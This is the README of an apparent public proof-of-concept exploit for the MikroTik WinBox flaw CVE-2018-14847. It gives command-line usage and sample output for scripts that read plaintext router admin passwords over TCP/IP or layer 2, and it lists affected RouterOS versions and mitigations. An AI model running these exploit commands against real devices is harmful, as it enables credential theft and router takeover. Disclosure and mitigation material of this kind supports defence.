akimdi/winboxpoc

Proof of Concept of Winbox Critical Vulnerability (CVE-2018-14847)

WinboxExploit

This is a proof of concept of the critical WinBox vulnerability (CVE-2018-14847) which allows for arbitrary file read of plain text passwords.

Blogpost

https://n0p.me/winbox-bug-dissection/

Requirements

• Python 3+

This script will NOT run with Python 2.x or lower.

How To Use

The script is simple used with simple arguments in the commandline.

WinBox (TCP/IP)

Exploit the vulnerability and read the password.

python3 WinboxExploit.py <IP-ADDRESS> [PORT]

Example:

$ python3 WinboxExploit.py 172.17.17.17
Connected to 172.17.17.17:8291
Exploit successful
User: admin
Pass: Th3P4ssWord

MAC server WinBox (Layer 2)

You can extract files even if the device doesn't have an IP address.

Simple discovery check for locally connected Mikrotik devices.

python3 MACServerDiscover.py

Example:

$ python3 MACServerDiscover.py
Looking for Mikrotik devices (MAC servers)

    aa:bb:cc:dd:ee:ff 

    aa:bb:cc:dd:ee:aa

Exploit the vulnerability and read the password.

python3 MACServerExploit.py <MAC-ADDRESS>

Example:

$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff

User: admin
Pass: Th3P4ssWord

Vulnerable Versions

All RouterOS versions from 2015-05-28 to 2018-04-20 are vulnerable to this exploit.

Mikrotik devices running RouterOS versions:

• Longterm: 6.30.1 - 6.40.7
• Stable: 6.29 - 6.42
• Beta: 6.29rc1 - 6.43rc3

For more information see: https://blog.mikrotik.com/security/winbox-vulnerability.html

Mitigation Techniques

• Upgrade the router to a RouterOS version that include the fix.
• Disable the WinBox service on the router.
• You can restricct access to the WinBox service to specific IP-addresses wtih the following:

/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16

• You may use some Filter Rules (ACL) to deny external access to the WinBox service:

/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop

• Limiting access to the mac-winbox service can be done by specifing allowed interfaces:

/tool mac-server mac-winbox

Copyright

• Sponsered by Iran's CERTCC(https://certcc.ir). All rights resereved.